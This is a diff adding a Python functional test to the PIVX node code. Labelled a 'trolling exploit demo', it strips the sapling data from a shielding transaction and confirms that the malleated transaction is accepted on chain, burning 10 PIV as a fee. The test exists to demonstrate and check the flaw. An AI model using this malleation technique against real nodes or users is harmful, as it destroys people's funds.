Tests: Add trolling exploit demo

test/functional/sapling_malleable_sigs.py

@@ -0,0 +1,74 @@
+#!/usr/bin/env python3
+# Copyright (c) 2018 The Zcash developers
+# Copyright (c) 2020 The PIVX developers
+# Distributed under the MIT software license, see the accompanying
+# file COPYING or https://www.opensource.org/licenses/mit-license.php .
+
+from test_framework.test_framework import PivxTestFramework
+
+from test_framework.messages import (
+    CTransaction,
+)
+from test_framework.util import (
+    assert_equal,
+    assert_greater_than,
+    bytes_to_hex_str,
+    hex_str_to_bytes,
+)
+
+from decimal import Decimal
+from io import BytesIO
+
+class MalleableSigsTest(PivxTestFramework):
+
+    def set_test_params(self):
+        self.num_nodes = 1
+        saplingUpgrade = ['-nuparams=v5_shield:201']
+        self.extra_args = [saplingUpgrade]
+
+    def run_test(self):
+        node = self.nodes[0]
+        node.generate(2)
+        assert_equal(node.getblockcount(), 202)
+
+        t_balance = node.getbalance()
+        z_balance = node.getshieldedbalance()
+
+        z_addr = node.getnewshieldedaddress()
+        shield_to = [{"address": z_addr, "amount": Decimal('10')}]
+
+        # Create rawtx shielding 10 PIV
+        self.log.info("Shielding 10 PIV...")
+        rawtx = node.rawshieldedsendmany("from_transparent", shield_to)["hex"]
+        self.log.info("Raw tx created")
+
+        # Creating malleated tx
+        self.log.info("Removing sapling data...")
+        new_tx = CTransaction()
+        new_tx.deserialize(BytesIO(hex_str_to_bytes(rawtx)))
+        new_tx.sapData = b""
+        new_rawtx = bytes_to_hex_str(new_tx.serialize())
+        self.log.info("Sending malleated tx...")
+        txid = node.sendrawtransaction(new_rawtx, True)
+        assert(txid is not None)
+        self.log.info("Tx accepted in mempool")
+
+        # No notes minted
+        assert_equal(node.getshieldedbalance(), z_balance)
+        # But 10 PIV have been effectively burned
+        fee = - Decimal(node.gettransaction(txid)['fee'])
+        assert_greater_than(fee, Decimal('10'))
+        assert_equal(node.getbalance(), t_balance - fee)
+
+        hashes = node.generate(1)
+        assert_equal(len(hashes), 1)
+        chain_tx = node.gettransaction(txid)
+        assert_equal(chain_tx['confirmations'], 1)
+        self.log.info("Malleated Tx accepted on chain")
+
+
+
+
+
+if __name__ == '__main__':
+    MalleableSigsTest().main()